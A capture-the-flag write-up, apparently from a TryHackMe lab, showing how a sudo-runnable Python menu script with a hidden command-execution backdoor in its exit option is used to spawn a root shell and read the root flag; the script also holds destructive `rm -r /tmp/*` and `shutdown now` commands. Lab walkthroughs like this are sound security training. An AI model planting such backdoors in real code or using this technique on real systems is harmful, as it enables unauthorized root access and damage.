-rw-r--r-- 1 root root 2352 Jul 15  2020 /bin/examplecode.py

Thanks to the r characters at the final block of the examplecode.py, I am available to read the content of the file to understand what does it do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/python3
import os
import time
import sys
def text(): #text print

        print("""

        ------------information systems script beta--------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ----------------@author villwocki------------------""")
        time.sleep(2)
        print("\nRunning...")
        time.sleep(2)
        os.system(command="clear")
        main()

def main():
info()
while True:
select = int(input("\nSelect:"))

                if select == 1:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip a")
                        print("Main Menü press '0' ")
                        print(x)

                if select == 2:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ifconfig")
                        print(x)

                if select == 3:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip route show")
                        print(x)

                if select == 4:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="cat /etc/os-release")
                        print(x)

                if select == 0:
                        time.sleep(1)
                        ex = str(input("are you sure you want to quit ? yes : "))

                        if ex == ".":
                                print(os.system(input("\nRunning....")))
                        if ex == "yes " or "y":
                                sys.exit()


                if select == 5:                     #root
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(2)
                        print(".......")
                        time.sleep(2)
                        print("System rebooting....")
                        time.sleep(2)
                        x = os.system(command="shutdown now")
                        print(x)

                if select == 6:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="date")
                        print(x)

                if select == 7:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="rm -r /tmp/*")
                        print(x)

def info(): #info print function
print("""

        #Network Connections   [1]

        #Show İfconfig         [2]

        #Show ip route         [3]

        #Show Os-release       [4]

        #Root Shell Spawn      [5]

        #Print date            [6]

        #Exit                  [0]

        """)

def run(): # run function
text()

run()

From the script, I can see that the option [5] title is ‘Root Shell Spawn’. That sounds great, however, the actual it does is only shutdown the machine:

1
2
3
print("System rebooting....")
time.sleep(2)
x = os.system(command="shutdown now")

But I am fool though, I still tried it and yeah, it was really shutdown 😇 and I had to reboot the machine again manually by hands from the room’s page.

OK, let’s roll back to the script! I see that the option [0] is the ‘Exit’ function, but wait! Look at it’s process:

1
2
3
4
5
6
7
8
if select == 0:
time.sleep(1)
ex = str(input("are you sure you want to quit ? yes : "))

                        if ex == ".":
                                print(os.system(input("\nRunning....")))
                        if ex == "yes " or "y":
                                sys.exit()

It takes an input value for the question to verify that whether the use was sure to exit the process. If the input value is ‘yes’ or ‘y’, it would execute sys.exit() as usual. But on the other hands, if the answer is a dot ‘.’, the os.sytem would be used to get another input once again while printing the ‘Running…’ message. This means if I input something after the ‘Running…’ message, that string would become a command to be executed.

Root Flag

Overall, I will input /bin/bash and make it execute to spawn a shell as root. And this is what happened:

condor@mnemonic:~$ sudo /usr/bin/python3 /bin/examplecode.py

        ------------information systems script beta--------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ----------------@author villwocki------------------

Running...

        #Network Connections   [1]

        #Show İfconfig         [2]

        #Show ip route         [3]

        #Show Os-release       [4]

        #Root Shell Spawn      [5]

        #Print date            [6]

        #Exit                  [0]

Select:0
are you sure you want to quit ? yes : .

Running..../bin/bash
root@mnemonic:~# id
uid=0(root) gid=0(root) groups=0(root)

And I get the root flag easily right after then:

root@mnemonic:~# ls -l /root
total 8
-rw-r--r-- 1 root root 221 Nov  5 04:43 f2.txt
-rw-r--r-- 1 root root  36 Jul 13  2020 root.txt
root@mnemonic:~# cat /root/root.txt
THM{[REDACTED]}